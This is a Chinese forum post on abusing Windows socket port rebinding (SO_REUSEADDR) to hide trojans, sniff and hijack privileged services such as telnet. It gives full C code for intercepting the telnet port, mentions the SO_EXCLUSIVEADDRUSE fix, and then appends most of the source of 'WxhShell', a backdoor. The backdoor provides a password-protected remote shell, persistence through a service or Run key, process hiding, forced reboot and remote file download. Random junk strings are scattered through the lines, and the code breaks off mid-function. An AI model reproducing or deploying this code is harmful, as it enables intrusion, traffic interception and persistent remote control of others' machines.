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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T.])diuvj-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zykT*V  
R"-mKT}  
  saddr.sin_family = AF_INET; %41m~Wh2  
Mer/G2#&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $[Sc0dzJ  
+cJL7=V&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <ykU6=  
E~DQ-z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uu-PJTNZ  
h\$$JeSV]  
  这意味着什么?意味着可以进行如下的攻击: #Vnkvvv  
kDEXN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x,'(5*  
iJ ($YvF4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y[ j6u\y  
6O7'!@@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XPavReGf  
h&M{]E9=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h}>"j%I  
.r|tSfm6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _mj,u64  
Yz'K]M_Dq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y8d]9sX{  
TtK[nP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )Oq|amvC  
7LfAaj  
  #include 2Sle#nw3  
  #include sZ3KT&  
  #include hXcyoZ8  
  #include    s,"]aew  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?so=;gh  
  int main() ]RZ|u*l=x  
  { &9.Cl;I  
  WORD wVersionRequested; Wjo[ENHM  
  DWORD ret; vt/x ,Y  
  WSADATA wsaData; cb@?}(aFl  
  BOOL val; ](Xb _xMf  
  SOCKADDR_IN saddr; %@<8<6&q  
  SOCKADDR_IN scaddr; fnpYT:%fG  
  int err; Y@NNrGDkT*  
  SOCKET s; `jDTzhO~  
  SOCKET sc; 5^}\4.eXo  
  int caddsize; %p Ynnfr  
  HANDLE mt; SUMrFd~  
  DWORD tid;   o5u3Fjz3  
  wVersionRequested = MAKEWORD( 2, 2 ); |-b#9JQ[A  
  err = WSAStartup( wVersionRequested, &wsaData ); 4`lLf  
  if ( err != 0 ) { [xbSYu,&  
  printf("error!WSAStartup failed!\n"); `:ArT}F  
  return -1; $r^GE  
  } Fh)IgzFj  
  saddr.sin_family = AF_INET; 48J@C vU  
   >>QY'1Eu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^gN6/>]qrY  
@T@< _ ?)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v>6"j1Z  
  saddr.sin_port = htons(23); ~Sdb_EZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0B[="rTS7#  
  { v|Pv 03%?7  
  printf("error!socket failed!\n"); bYcV$KJk  
  return -1; ]N/=Dd+|  
  } -5)H<dAQZ  
  val = TRUE; }V'} E\\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &r[`>B{tP  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |sa]F5  
  { n#cC+>*>+  
  printf("error!setsockopt failed!\n"); e- ~N"  
  return -1; _H9 MwJ  
  } d|jNf</`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #"}JdBn  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d}Xr}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fIM,lt  
)n1_(;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Tg7an&#  
  { FX;QG94!  
  ret=GetLastError(); Cw~q4A6'  
  printf("error!bind failed!\n"); Vo4,@scG  
  return -1; j SHk{T!J  
  } .L+6 $8m  
  listen(s,2); /hpY f]t  
  while(1) dSLU>E3g  
  { ;Y)w@bNt@  
  caddsize = sizeof(scaddr); bAdn &   
  //接受连接请求 +[Dx?XM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); u :}%xD6  
  if(sc!=INVALID_SOCKET) Y`KqEjsC*  
  { QfmJn((  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZVW'>M7.  
  if(mt==NULL) @MoKWfc  
  { "H2EL}3/]  
  printf("Thread Creat Failed!\n"); WEAT01  
  break; f@6QvkIa  
  } e*sfPHt  
  } HsxVZ.dS  
  CloseHandle(mt); =WyDp97@+  
  } %Wg'i!?cB  
  closesocket(s); C:GK,?!Jn'  
  WSACleanup(); u+dLaVlLJ  
  return 0; } F E>|1  
  }   k3~}7]O)  
  DWORD WINAPI ClientThread(LPVOID lpParam) N[?N5~jG  
  { OwuE~K7b{  
  SOCKET ss = (SOCKET)lpParam; Fzm*Pz3  
  SOCKET sc; FOb0uj=(v  
  unsigned char buf[4096]; c7?_46 J  
  SOCKADDR_IN saddr; O8^A5,2@3>  
  long num; ,yC-+VL  
  DWORD val; #OZ>V3k  
  DWORD ret; N>Xo_-QCY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \TIT:1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]{!U@b  
  saddr.sin_family = AF_INET; eFipIn)b  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '|ad_M  
  saddr.sin_port = htons(23); y~(h>gi,x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .nTwPrG  
  { Id*Ce2B  
  printf("error!socket failed!\n"); .GbX]?dN  
  return -1; W=lyIb{?^0  
  } mD/9J5:  
  val = 100; 88Ey12$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6e(Qwt  
  { 8<5]\X  
  ret = GetLastError(); rW<KKGsRWQ  
  return -1; `Nv=B1  
  } w}L]X1#sF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y2|#V#  
  { ^9m\=5d  
  ret = GetLastError(); $': E\*ICb  
  return -1; ycc4W*]  
  } %) /s;Q,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t9nqu!);  
  { [v7F1@6b  
  printf("error!socket connect failed!\n"); 5]~'_V  
  closesocket(sc); uyO/55;HO  
  closesocket(ss); f0A{W/0n  
  return -1; 'SO %)B  
  } WJ$bf(X*  
  while(1) i1UiNJh86  
  { A8xvo/n$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P|^f0Rw3.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 09|K>UC)v  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 imo$-}A  
  num = recv(ss,buf,4096,0); _uWpJhCT  
  if(num>0) B3:ez jj  
  send(sc,buf,num,0); B#exHf8  
  else if(num==0) %}[i'rT>  
  break; AmvEf  
  num = recv(sc,buf,4096,0); }\hVy(\c  
  if(num>0) $>G8_q  
  send(ss,buf,num,0); :uP,f<=)K  
  else if(num==0) }bs+-K  
  break; YA''2Ii  
  } kd>hhiz|  
  closesocket(ss); j1^I+j)  
  closesocket(sc); 1!ii;s^e  
  return 0 ; VX].3=T8  
  } >i_ 2OV  
j@=%_^:i  
R}'bP  
========================================================== Ua<5U5  
@V(*65b2  
下边附上一个代码,,WXhSHELL B+Rm>^CBm  
^tqzq0  
========================================================== I+BHstF5um  
Bu#E9hJFvA  
#include "stdafx.h" UGD2  
%u?>#  
#include <stdio.h> <S\jpB  
#include <string.h> +:8fC$vVfC  
#include <windows.h> I*%-cA%l  
#include <winsock2.h> G(Lzf(  
#include <winsvc.h> o#;b  
#include <urlmon.h> t,QyfN  
bT\1>  
#pragma comment (lib, "Ws2_32.lib") ]}*R|1  
#pragma comment (lib, "urlmon.lib") *,3SGcYdJj  
D~biKrg?=  
#define MAX_USER   100 // 最大客户端连接数 [6pD  
#define BUF_SOCK   200 // sock buffer u&1q [0y  
#define KEY_BUFF   255 // 输入 buffer ~:0sk"t$1  
;l4[%xld  
#define REBOOT     0   // 重启 #G .ulX  
#define SHUTDOWN   1   // 关机 3%l*N&gsg:  
KmMzH`t}`  
#define DEF_PORT   5000 // 监听端口 1=t>HQ  
}]e-{C}  
#define REG_LEN     16   // 注册表键长度 ,kF1T,  
#define SVC_LEN     80   // NT服务名长度 C.~,qmOP  
rk&IlAE  
// 从dll定义API N6>(;ugJ1-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f) znTJL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "*($cQ$v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )n+Lo&C<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wy yWyf  
QXL'^uO  
// wxhshell配置信息 ,eOB(?Ku  
struct WSCFG { C+'/>=>a.  
  int ws_port;         // 监听端口 ~{d$!`|a  
  char ws_passstr[REG_LEN]; // 口令 %Da8{%{`Pc  
  int ws_autoins;       // 安装标记, 1=yes 0=no zer%W%  
  char ws_regname[REG_LEN]; // 注册表键名 vBRQp&YwX  
  char ws_svcname[REG_LEN]; // 服务名 J3,fk)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !i{aMxUP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |h-QP#]/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0Z~p%C<LW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z?}dq-Vh&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'w!Cn>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FQm`~rA~zt  
Uhe=h&e2k@  
}; JX -' mV`  
R?68*} `7  
// default Wxhshell configuration | 1E|hh@k  
struct WSCFG wscfg={DEF_PORT, |s'Po^Sy  
    "xuhuanlingzhe", &atuK*W>  
    1, <d,b'<z s  
    "Wxhshell", LwrUQ)  
    "Wxhshell", cFaaLUZk  
            "WxhShell Service", Z9:-rcr  
    "Wrsky Windows CmdShell Service", M|6A0m#Q  
    "Please Input Your Password: ", [.m`+  
  1, Yb +yw_5  
  "http://www.wrsky.com/wxhshell.exe", \wo?47+=  
  "Wxhshell.exe" V`X2> -Ex  
    }; H#@^R(  
<%($7VMev  
// 消息定义模块 o4j[p3$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cimp/n"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %{ABaeb]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d^RxQuA  
char *msg_ws_ext="\n\rExit."; jNTjSX  
char *msg_ws_end="\n\rQuit."; /~}}"zx&  
char *msg_ws_boot="\n\rReboot..."; `Zf^E >)  
char *msg_ws_poff="\n\rShutdown..."; ~$ng^D  
char *msg_ws_down="\n\rSave to "; DAS/43\  
p=;=w_^y  
char *msg_ws_err="\n\rErr!"; aIJt0;  
char *msg_ws_ok="\n\rOK!"; ~5_Ad\n9  
pv*,gSS  
char ExeFile[MAX_PATH]; xgbJ2Mh  
int nUser = 0; ^=T$&gD  
HANDLE handles[MAX_USER]; W"zab  
int OsIsNt; Id'X*U7Q  
8JM&(Q%#  
SERVICE_STATUS       serviceStatus; !;0U,!WI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9  TvV=  
-}=i 04^  
// 函数声明 Rec6c&5_  
int Install(void); G;&-\0>W  
int Uninstall(void); 1KMLG=  
int DownloadFile(char *sURL, SOCKET wsh); y<HO:kZ8`  
int Boot(int flag); +g` 'J$  
void HideProc(void); BbW^Wxd3  
int GetOsVer(void); @{YS}&Q/  
int Wxhshell(SOCKET wsl); _jJPbKz  
void TalkWithClient(void *cs); q;QbUO  
int CmdShell(SOCKET sock); d`P7}*; `  
int StartFromService(void); {6"Ph(I1  
int StartWxhshell(LPSTR lpCmdLine); >ZPsjQuf"  
)Gj8X}DM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i;NUAmx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _&N2'hG=sn  
L$9 . 8W  
// 数据结构和表定义 =4[v 3Qx  
SERVICE_TABLE_ENTRY DispatchTable[] = \n{qsf:  
{ n1~o1  
{wscfg.ws_svcname, NTServiceMain}, xgpi-l  
{NULL, NULL} 9^,Lc1"M>  
}; x97 j  
bLe <G  
// 自我安装 &=#[(vl  
int Install(void) >_o}  
{ &QDW9 Mi  
  char svExeFile[MAX_PATH]; /e7O$L)   
  HKEY key; ^.#jF#u~  
  strcpy(svExeFile,ExeFile); J/\V%~ 1F  
fIj|4a+  
// 如果是win9x系统,修改注册表设为自启动 nN*w~f"  
if(!OsIsNt) {  {k>Ca  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PE~G=1x3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p89wNSMl[  
  RegCloseKey(key); m1),;RsH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $UgA0]q n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R#2t)y  
  RegCloseKey(key); 1abtgDL  
  return 0; fJ/e(t  
    } ~MS\  
  } .#1~Rz1r  
} 9A} # 6  
else { 0/!dUWdKH  
Tsgk/e9K2?  
// 如果是NT以上系统,安装为系统服务 b /@#}Gc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0(mkeIzJt/  
if (schSCManager!=0) 7bk%mQk  
{ y9_K, g  
  SC_HANDLE schService = CreateService A3|Dz&@:  
  ( D$bIo "  
  schSCManager, )Z(TCJ~~!  
  wscfg.ws_svcname, (@t(?Js  
  wscfg.ws_svcdisp, o>/YAX:.!T  
  SERVICE_ALL_ACCESS, /wP@2ADB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'f[T&o&L/  
  SERVICE_AUTO_START, &$]v h  
  SERVICE_ERROR_NORMAL, zRq-b`<7V  
  svExeFile, 30XR 82P/  
  NULL, sA'6ty  
  NULL, *8#i$w11M  
  NULL, %1O;fQL  
  NULL, p$h4u_  
  NULL c}y [[EX  
  ); !X"K=zt"  
  if (schService!=0) Z0o~+Ct$  
  { $4tWI O  
  CloseServiceHandle(schService); !|O~$2O@  
  CloseServiceHandle(schSCManager); U7oo$gW%|T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i|T)p_y(!a  
  strcat(svExeFile,wscfg.ws_svcname); r.#t63Rb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f2^r[kPX"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wtc!>  
  RegCloseKey(key); e '2F#  
  return 0; v=_6XF  
    } *Txl+zTY  
  } bty/  
  CloseServiceHandle(schSCManager); #bl6sa{E  
} #;%JT   
} kMtwiB|7j  
:lB=L r)  
return 1; BO~PT,QrF  
} EX?MA6U  
 /o[?D  
// 自我卸载 wQwQXNG  
int Uninstall(void) 6`v7c!7  
{ ZCB_  
  HKEY key; o(:[r@Z0z  
"Qja1TQ  
if(!OsIsNt) { COW}o~3-4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MxY/`9>E|+  
  RegDeleteValue(key,wscfg.ws_regname); u>TZt]h8  
  RegCloseKey(key); -[6z 1"*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5dB'&8DX  
  RegDeleteValue(key,wscfg.ws_regname); <5NF;  
  RegCloseKey(key); \ C+(~9@|  
  return 0; PI`jExL  
  } q{t*34R  
} NX|v=  
} [k6nW:C  
else { d/ bEt&  
mnmP<<8C,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =$nB/K,8AX  
if (schSCManager!=0) H&]gOs3So  
{ yi l[gPy4B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M#~Cc~oT  
  if (schService!=0) ``OD.aY^s  
  { 'bo~%WA]n  
  if(DeleteService(schService)!=0) { VUhbD  
  CloseServiceHandle(schService); SQqD:{#g"  
  CloseServiceHandle(schSCManager); L{(QpgHZ  
  return 0; #B:hPZM1  
  } Y7vA`kjD-C  
  CloseServiceHandle(schService); Sh?4r i@:  
  } _cc#Qlw 7  
  CloseServiceHandle(schSCManager); s VJ!FC  
} ~-PjW#J%  
} :cGt#d6  
{K9/H qH  
return 1; _>9.v%5cs(  
} Ti'}MC+0  
-u? S=h}  
// 从指定url下载文件 !!Aj<*%  
int DownloadFile(char *sURL, SOCKET wsh) |7X:TfJ  
{ `;)\u  
  HRESULT hr; OtGb<v<_H  
char seps[]= "/"; ^NX"sM0g  
char *token; .!G94b  
char *file; ;$a@J&  
char myURL[MAX_PATH]; mZx&Xez_G  
char myFILE[MAX_PATH]; cZT({uYGL  
M-;4   
strcpy(myURL,sURL); IdXZoY  
  token=strtok(myURL,seps); CMn{LQcC  
  while(token!=NULL) 7{I h_.#  
  { 1[jb)j1  
    file=token; (y M^  
  token=strtok(NULL,seps); >2< 8kBF_  
  } '3<fsK=  
w^LuIbA  
GetCurrentDirectory(MAX_PATH,myFILE); 5!EJxP9  
strcat(myFILE, "\\"); v@wb"jdFi$  
strcat(myFILE, file); [+OnV&  
  send(wsh,myFILE,strlen(myFILE),0); D<V~f B  
send(wsh,"...",3,0); =e8bNg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2'5]~  
  if(hr==S_OK) vq!_^F<  
return 0; 4E+hRKuo,  
else Op>%?W8/UF  
return 1; *P#WDXRwd  
?}m']4p  
} Q4*fc^?u  
!}4MN:r  
// 系统电源模块 ,:`ND28V7  
int Boot(int flag) JB>b`W9   
{ A0fFv+RN3  
  HANDLE hToken; =IUUeFv +r  
  TOKEN_PRIVILEGES tkp; _>v<(7  
fgBM_c&9T  
  if(OsIsNt) { 1&P<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cKn`/\.H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'w14sr%  
    tkp.PrivilegeCount = 1; 1*dRK6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7{xh8#m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '&sE=.  
if(flag==REBOOT) { # hlCs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^k Cn*&  
  return 0; aM{xdTYaU  
} BSkDpr1C  
else { 1y lk4@`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x ul]m*Z  
  return 0; Zr-U&9.`  
} \4AM*lZ  
  } ?_ dIIQ  
  else { !H2QjW  
if(flag==REBOOT) { +Y V|ij  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yB3;  
  return 0; h(F<h_  
} =i(?deR  
else { hRq3C1 mR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !wWJ^Oz=  
  return 0; ]r-C1bKD`  
} 11,!XD*"  
} UThB7(O,  
Nx-uQ^e*1  
return 1; 5l,ZoB8  
} Fh*j#*oe  
]q6;#EUr?  
// win9x进程隐藏模块 [|lB5gi4t!  
void HideProc(void) doB  
{ 4&HXkRs:  
/l{ &iLz[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m~>Y{F2  
  if ( hKernel != NULL ) 3 E3qd'  
  { _$p$")  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NBF MN%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @rHK( 25+d  
    FreeLibrary(hKernel); *A~ G_0B  
  } ;3 F"TH  
>+mD$:L  
return; )NO<s0?&  
} M gC:b-&5_  
&bhq`>  
// 获取操作系统版本 h1(j2S`:  
int GetOsVer(void) uK'&Dam  
{ !gLkJ)  
  OSVERSIONINFO winfo; dV Q-k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RID]pek  
  GetVersionEx(&winfo); fl;s9:<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jA(>sz  
  return 1; zSE<"(a  
  else :=9] c17=  
  return 0; }'OHE(s  
} fRfn2jA)d  
Y $u9%0q|?  
// 客户端句柄模块 k6kM'e3V  
int Wxhshell(SOCKET wsl) \3Q&~j  
{ o0ZM[0@j  
  SOCKET wsh; Sggq3l$Qc  
  struct sockaddr_in client; 0oh]61g C  
  DWORD myID; i%{3W:!4t  
vfNAs>Xg"  
  while(nUser<MAX_USER) UYA_jpIP  
{ e;GU T:  
  int nSize=sizeof(client); 2..,Sk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I2 a6w<b  
  if(wsh==INVALID_SOCKET) return 1; ?go:e#  
l_j4DQBRV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O}[PJfvBHo  
if(handles[nUser]==0) [I:KpAd/  
  closesocket(wsh); y}v+c%d  
else &vovA} F  
  nUser++; [DHoGy,P  
  } {T'GQz+R"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KI]wm  
yIb,,!y9{  
  return 0; \]9.zlB  
} @R m-CWa  
5/QRL\  
// 关闭 socket u4"SH(  
void CloseIt(SOCKET wsh) Uu7dSU  
{ n}mR~YqD  
closesocket(wsh); JjXobNQf  
nUser--; j$da8] !  
ExitThread(0); QR">.k4QJ  
} y{9~&r  
[0OJdY4  
// 客户端请求句柄 6r"u$i` o  
void TalkWithClient(void *cs) :y2p@#l#  
{ +uWYK9  
UwY-7Mmo  
  SOCKET wsh=(SOCKET)cs; XCsiEKZ_i  
  char pwd[SVC_LEN]; PS S?|Vk  
  char cmd[KEY_BUFF]; 'O6]0l  
char chr[1]; Gq#~vr  
int i,j; ,uz ]V1  
B$?qQ|0:=  
  while (nUser < MAX_USER) { XI Jlc~2  
@mt0kV9  
if(wscfg.ws_passstr) { YHV-|UNF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (!5LW '3B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ( #Z`  
  //ZeroMemory(pwd,KEY_BUFF); /?/#B `  
      i=0; B`$L'  
  while(i<SVC_LEN) { +KEkmXZ  
E^hHH?w+  
  // 设置超时 k#}g,0@  
  fd_set FdRead; ?hYqcT[%  
  struct timeval TimeOut; !}M,  
  FD_ZERO(&FdRead); 2}vg U$a  
  FD_SET(wsh,&FdRead); #(LfYw.P1V  
  TimeOut.tv_sec=8; O;[9_[  
  TimeOut.tv_usec=0; dz#5q-r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kHc<*L_ V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %OcGdbs  
Oq(VvS/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); he+#Q 6  
  pwd=chr[0]; (IbW; bV  
  if(chr[0]==0xd || chr[0]==0xa) { [O ",  
  pwd=0; vQ@2FZzu>  
  break; >yJ-4lgZ  
  } w(nHD*nm  
  i++; N"[B=fU}  
    } m+$ @'TbP  
MVCl.o  
  // 如果是非法用户,关闭 socket V+wH?H=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E{Pgf8  
} ]7AX%EG3  
lz | 64J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }iBC@`mg(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _L.n,  
% 0:p)Z0  
while(1) { 7yI @"c#O  
-m 5}#P89  
  ZeroMemory(cmd,KEY_BUFF); *B)yy[8j+  
;P?q2jI  
      // 自动支持客户端 telnet标准   FrTg4  
  j=0; 0m9ZQ O  
  while(j<KEY_BUFF) { {Z{o"56f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '_+9y5  
  cmd[j]=chr[0]; ^b?2N/m@  
  if(chr[0]==0xa || chr[0]==0xd) { 2 4\g bv<  
  cmd[j]=0; [IM%b~j(^  
  break; "L& k)J  
  } g+zJ?  
  j++; MN= sIP,zk  
    } JbQZ!+  
\[wCp*;1}  
  // 下载文件 b1^n KB  
  if(strstr(cmd,"http://")) { 8_\W/I!7b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cm>E[SHr  
  if(DownloadFile(cmd,wsh)) K=u0nrG*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m)?5}ZwAH  
  else 1ywU@].6J]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0WxCSL$#I  
  } r@)A k  
  else { QBE@(2G}C  
? S=W&  
    switch(cmd[0]) { Sj 3oV  
  i&+w _hD  
  // 帮助 >N`6;gn*l  
  case '?': { _94s(~g:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IvBGpT"(I  
    break; msTB'0  
  } Vj^dD9:  
  // 安装 {gy+3  
  case 'i': { q{4|Kpx@  
    if(Install()) fJ80tt?r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %EbiMo ]3B  
    else d}0qJoH4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZKbDp~  
    break; V/#v\*JHFc  
    } CSn<]%GL  
  // 卸载 .5tg4%l  
  case 'r': { X1J;1hRUP  
    if(Uninstall()) Fb Sa~uN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); * crw^e  
    else ')PVGV(D+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !r&Bn6*  
    break; ij)Cm]4(2  
    } 7t(Y;4<2  
  // 显示 wxhshell 所在路径 : 1)}Epo,  
  case 'p': { ' lo.h""  
    char svExeFile[MAX_PATH]; wgd<3 X  
    strcpy(svExeFile,"\n\r"); B1T5f1;uY  
      strcat(svExeFile,ExeFile); =d20Xa  
        send(wsh,svExeFile,strlen(svExeFile),0); pz}mF D&[  
    break; jqoPLbxT  
    } m3 IP7h'  
  // 重启 ;lfWu U%R  
  case 'b': { 0o/B{|rv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |+ 7f2C  
    if(Boot(REBOOT)) Q)6va}2ai  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K r3];(w{  
    else { CI^|k/  
    closesocket(wsh); B\<ydN  
    ExitThread(0); a?<?5   
    } @!H '+c  
    break; ;~tsF.=  
    } xUj2 ]Q>R+  
  // 关机 N~#D\X^t.  
  case 'd': { ~Yl$I,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;h+q  
